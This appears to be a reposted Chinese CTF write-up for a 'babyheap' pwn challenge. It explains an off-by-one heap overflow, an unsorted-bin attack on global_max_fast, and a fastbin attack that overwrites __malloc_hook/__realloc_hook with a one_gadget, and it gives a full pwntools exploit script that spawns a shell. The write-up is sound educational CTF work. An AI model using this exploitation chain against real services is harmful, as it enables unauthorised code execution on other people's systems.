当前位置:网站首页>星盟-pwn-babyheap

星盟-pwn-babyheap

2022-08-11 05:29:00 Mauricio_Davis

本题的注意点

  • 程序更改了global_max_fast的大小,导致我们释放的chunk无法进入fastbin中,都会进入unsortedbin里面

在这里插入图片描述

程序分析

直接切入正题:

在这里插入图片描述

  • add():允许申请1-111大小的chunk
  • del():没有uaf
  • edit():使用strlen的返回值作为read的参数,off by one漏洞,申请0x?8的大小chunk时填充满该chunk,再次编辑该chunk,strlen就会将下一个chunk的size也也算作一个字节,所以我们可以控制chunk的size位
  • show():正常输出

程序情况列述

  1. chunk会进入unsorted bin,不修改global_max_fast则无法使用fastbin attack
  2. 存在off by one 可以使用堆重叠,能够获取libc基地址

解题思路

  1. 堆重叠获取libc_base地址
  2. 使用unsorted attack更改global_max_fast,使chunk进入fastbin
  3. 使用fastbin attack更改malloc_hook为one_gadget

detailed procedures

  • 注:结合exp来理解

  • 申请4个chunk,利用chunk0修改chunk1的size使其包含chunk1,chunk2

  • 再次申请大小为0x18的chunk,打印出chunk2即得到main_arena_addr+offset(该offset可以gdb调试得知其偏移,前提是本地环境和远端一致否则远端打不通)

  • 后面的一系列操作就是heap重叠,利用一个chunk去改写另外一个chunk的bk(unsorted attack),heap重叠图在下面

  • 修改了global_max_fast,使用fastbin attack伪造chunk修改malloc_hook为realloc_hook

  • 修改realloc_hook为one_gadget原因如下,其要求一个都不满足

在这里插入图片描述

在这里插入图片描述

  • 所以我们这里使用realloc来使得rsp+0x30为null,具体可以参考下面博客链接
  • realloc之前会有以下操作,我们可以利用这些push和sub0x38来使得rsp+0x30为null,执行完这个操作就会call realloc,因为我们把malloc改成了realloc,realloc改成了one_gadget所以,就会call one_gadget,那么我们计算的时候要把call 抬高栈的8算上去

在这里插入图片描述

exp

#!/usr/bin/python3
# -*- coding:utf-8 -*-

from pwn import *

context.arch = 'amd64'
# context.log_level = 'debug'

sh = process('./babyheap')
#sh = remote('nc.eonew.cn', 10502)
libc = ELF('./libc-xm/libc-2.23-babyheap.so')

gdb.attach(sh,''' b *$rebase(0xbfc) b *$rebase(0xcdb) b *$rebase(0xe50) b *$rebase(0xdc2) ''')

def add(size, data):
    sh.sendlineafter(b'your choice: ', b'1')
    sh.sendlineafter(b'size: ', str(size).encode())
    sh.sendafter(b'data: ', data)

def delete(index):
    sh.sendlineafter(b'your choice: ', b'2')
    sh.sendlineafter(b'index: ', str(index).encode())

def edit(index, data):
    sh.sendlineafter(b'your choice: ', b'3')
    sh.sendlineafter(b'index: ', str(index).encode())
    sh.sendafter(b'data: ', data)

def show(index):
    sh.sendlineafter(b'your choice: ', b'4')
    sh.sendlineafter(b'index: ', str(index).encode())


add(0x68, b'a' * 0x68)          #0
add(0x18, b'\n')                #1
add(0x18, b'\n')                #2
add(0x68, b'\n')                #3
add(0x68, p64(0) + p64(0x61))   #4,防止释放chunk3导致想前合并报错,注意点1看下面

edit(0, b'b' * 0x68 + p8(0xb1))
delete(1)
add(0x18, b'\n')
show(2)
result = sh.recvuntil(b'\n', drop=True)
main_arena_addr = u64(result.ljust(8, b'\0')) - 88
log.success('main_arena_addr: ' + hex(main_arena_addr))

libc_addr = main_arena_addr - (libc.symbols['__malloc_hook'] + 0x10)
log.success('libc_addr: ' + hex(libc_addr))

##############上面为泄露libc_base

add(0x38, b'c' * 0x18 + p64(0x81)) # 5,改为0x81,使chunk3下一个chunk为chunk4+0x10
add(0x48, b'\n')                   # 6
delete(3)
delete(6)

global_max_fast_symbol = 3958776 #gdb中使用 p &global_max_fast - libc_base
add(0x69, b'\0' * 0x10 + p64(0) + p64(0x51) + p64(0) + p64(libc_addr + global_max_fast_symbol - 0x10)) # 6,这里对chunk3的bk进行修改准备unsorted attack
add(0x48, b'\n')# 3,完成unsorted attack

edit(5, b'\0' * 0x10 + p64(0) + p64(0x71))
delete(3)
delete(5)
add(0x38, b'\0' * 0x10 + p64(0) + p64(0x71) + p64(main_arena_addr - 0x33)) # 5
add(0x68, b'\0') # 5

one_gadget = libc_addr + 0x4527a

# 下面,gdb调试可知,realloc_hook为malloc_hook-8,所以这为修改上面思路的操作
add(0x68, b'\0' * 0xb + p64(one_gadget) + p64(libc_addr + libc.symbols['realloc'] + 8))
#add(0x68, b'\0' * 0x13 + p64(one_gadget))

sh.sendlineafter(b'your choice: ', b'1')
sh.sendlineafter(b'size: ', str(1).encode())

sh.interactive()


在这里插入图片描述

maybe疑问点

  1. 更改chunk3的size为0x80,在释放时判断向后合并时拿到0x61所以不会触发向前合并,师傅们可能在想那我0x71不也不会吗?当然不会,但是释放chunk6的时候指向的也是0x71,在释放chunk3之后0x71会变成0x70,那么chunk6释放就会出错

在这里插入图片描述

如下图:

在这里插入图片描述

所以需要布置一个使他们判断向后合并的时不会出错

在这里插入图片描述



realloc调整栈空间,实现one_gadget可用

原网站

版权声明
本文为[Mauricio_Davis]所创,转载请带上原文链接,感谢
https://blog.csdn.net/qq_65147345/article/details/126100230